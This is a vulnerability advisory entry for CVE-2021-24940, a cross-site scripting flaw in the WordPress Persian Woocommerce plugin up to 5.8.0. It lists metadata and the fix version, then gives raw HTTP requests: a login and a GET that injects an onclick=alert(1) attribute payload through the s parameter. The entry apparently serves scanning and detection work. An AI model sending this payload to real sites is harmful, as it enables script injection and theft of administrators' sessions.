| Title | WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Fixed in 5.9.8. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01887 |
| CVE ID | CVE-2021-24940 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wp xss authenticated wpscan wordpress wp-plugin woocommerce vuln |
WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/125.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=OWwsy3&pwd=6gHbhp&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=persian-wc&s=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24940.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24940.pcap
N/AN/A